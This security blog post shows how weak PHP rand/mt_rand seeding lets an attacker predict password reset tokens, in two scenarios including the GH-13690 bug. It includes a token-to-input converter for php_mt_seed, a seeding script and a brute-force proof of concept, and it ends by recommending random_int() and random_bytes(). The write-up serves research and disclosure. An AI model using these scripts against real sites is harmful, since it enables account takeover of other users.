This blog post delves into the inner workings of mt_rand()
, exposing its weaknesses and demonstrating how these vulnerabilities can be exploited. We’ll examine real-world scenarios and provide insights into more secure alternatives.
What is mt_rand in php?
This function generates a random value via the Mersenne Twister Random Number Generator (PHP 4, PHP 5, PHP 7, PHP 8).
It helps the developer by generating random numbers, but it is actually random? The answer is no based on the PHP documentation [1]:
There is a tool developed by openwall called php_mt_seed [2]. The tool receives a bunch of the rand output and gives you the seed that was used.
What are the attacking scenarios? There are two:
- The tokens are generated on the same HTTP request
- The tokens are not generated on the same request (GH-13690)
As an example for the first scenario, let’s imagine that there is an admin functionality on a web site that is powered by PHP. This functionally is resetting multiple users’ passwords at the same time. A link is sent to the selected users to reset their passwords, and that link contains a reset token generated by rand. If one of the users was an attacker, the attacker could be able to retrieve the seed and predict the tokens for other users as the seed will be the same.
As an example for the second scenario, we have a website powered by PHP 8.0.30, which is vulnerable to GH-13690 or any PHP version is vulnerable to GH-13690. An attacker can request the password be reset for their own account and another account at the same moment (two different HTTP requests). Now the attacker can use their token to predict the seed for the other account. The seed will be different because the rand function is regenerating the seed for every HTTP request, but they can brute force it using the exploit of GH-13690.
(Global Mt19937 is not properly reset in-between requests when MT_RAND_PHP is used) |
In both scenarios, we are exploiting the following function that was found in a real application:
function generate_random_string($length = 10)
{
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$rnd_result = '';
for ($i = 0; $i < $length; $i++) {
$rnd_result .= $characters[rand(0, strlen($characters) - 1)];
}
return $rnd_result;
}
Exploiting Scenario 1
Vulnerable code:
<?php
function generate_random_string($length = 10)
{
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$rnd_result = '';
for ($i = 0; $i < $length; $i++) {
$rnd_result .= $characters[rand(0, strlen($characters) - 1)];
}
return $rnd_result;
}
// $rand = mt_rand();
// srand($rand);
echo "reset password for the first user : " . generate_random_string(32) . '<br />';
echo "reset password for the second user :" . generate_random_string(32) . '<br />';
In the example, the function is generating a password reset for two users but in the same session (same initial state for the mt_rand).
The PHP version of our target is latest version:
Let’s attack the tokens we need to predict the second token (admin token as an example) using only one of the tokens that was generated (just a normal user token).
The following python script will convert the tokens into what the rand function really generated because the rand function is generating a number, not the strings itself:
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
with open("tokens.txt", "r") as file:
tokens = file.readlines()
for token in tokens:
token = token.strip()
for c in token:
print(" ",chars.find(c), chars.find(c),"0","61",end="")
The output of the script will be used with the php_mt_seed tool:
The reason “0” and “61” is in the script is because the rand function is bounded from the original PHP code from 0 to 61 and we duplicate the number to achieve the exact match.
Now let’s get the next token using the following exploit PHP code by setting the seed:
<?php
function generateRandomString($length = 10)
{
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$rnd_result = '';
for ($i = 0; $i < $length; $i++) {
$rnd_result .= $characters[rand(0, strlen($characters) - 1)];
}
return $rnd_result;
}
// Set the seed for the random number generator
srand(3697305637);
echo ("current token is :" . generateRandomString(32)." \n");
echo ("target reset token password is " . generateRandomString(32) . " \n")
?>
Here is the example output for the target PHP code as below:
Here we’ve run the exploit PHP code:
The attack was successful and we obtained the token.
Exploiting Scenario 2
In this scenario, user1 is the attacker who wants to reset the password for user2, and the website is using a vulnerable PHP version such as 8.0.30 (GH-13690).
We are going to attack an application that uses the same mentioned function in this experiment. We installed the application on PHP version 8.0.30.
To exploit the issue, we need to send the reset password request for the attacker account and target account at the same time. To do this, we can create a group send in Burp Suite’s Repeater.
Make sure to enable the Send group single connection as below:
Using MySQL database, we can see the token was generated for the attacker account and target account at the same time.
From the attacker’s perspective, we only have access to attacker token, which is F4zrX6rBBHaOadoTwsRvJddtyl5vEeif.
With this information, let’s use the same attack process as before.
It’s true that we found the seed, but the next seed that was used to generate the target token will be a bit different. Let’s continue to see in what way.
If we copy the target token, we can use the same attack to get the seed and compare the target seed and attacker seed:
We can see that the first four digits of the seeds are the same.
Attacker F4zrX6rBBHaOadoTwsRvJddtyl5vEeif 1851353544
target 8YIWjEdIWNrsPNk60mzufqVHjGSxSnfe 1851289360
Now all we need to do is brute force the remaining seed, which is only 6 digits!
Using our POC to attack:
<?php
function generateRandomString($length = 10)
{
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$rnd_result = '';
for ($i = 0; $i < $length; $i++) {
$rnd_result .= $characters[rand(0, strlen($characters) - 1)];
}
return $rnd_result;
}
// Function to generate all possible combinations
function generateCombinations($length, $characters) {
$combinations = [];
$totalCombinations = pow(count($characters), $length);
for ($i = 0; $i < $totalCombinations; $i++) {
$combination = '';
$temp = $i;
for ($j = 0; $j < $length; $j++) {
$combination = $characters[$temp % count($characters)] . $combination;
$temp = intdiv($temp, count($characters));
}
$combinations[] = $combination;
}
return $combinations;
}
// Define the length of the number and the allowed characters
$length = 6;
$characters = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'];
// Generate and print all combinations
$allCombinations = generateCombinations($length, $characters);
foreach ($allCombinations as $combination) {
// Set the seed for the random number generator , enter only the start of the seed
$seed = "1851".(string)$combination;
srand($seed);
echo ("using seed ". $seed . " : ". generateRandomString(32)." \n");
// echo $combination . PHP_EOL;
}
?>
After running the POC PHP script:
The attack was successful and the target token was found.
Now we need to brute force all of the tokens, which is only 1,000,000 and can be brute forced in couple of hours.
Conclusion
In this blog post we exploited the PHP mt_rand function in two different scenarios and showed the exploitability in a real world attack. In 2024, mt_rand is still used by programmers to generate random passwords and tokens or even user IDs. The mt_rand function is not secure and puts your software at risk. If you’re looking for a good alternative, we recommend using a secure random generator function like random_int() and random_bytes() to generate secrets and never use mt_rand.
[1] https://www.php.net/manual/en/function.mt-rand.php
[2] https://github.com/openwall/php_mt_seed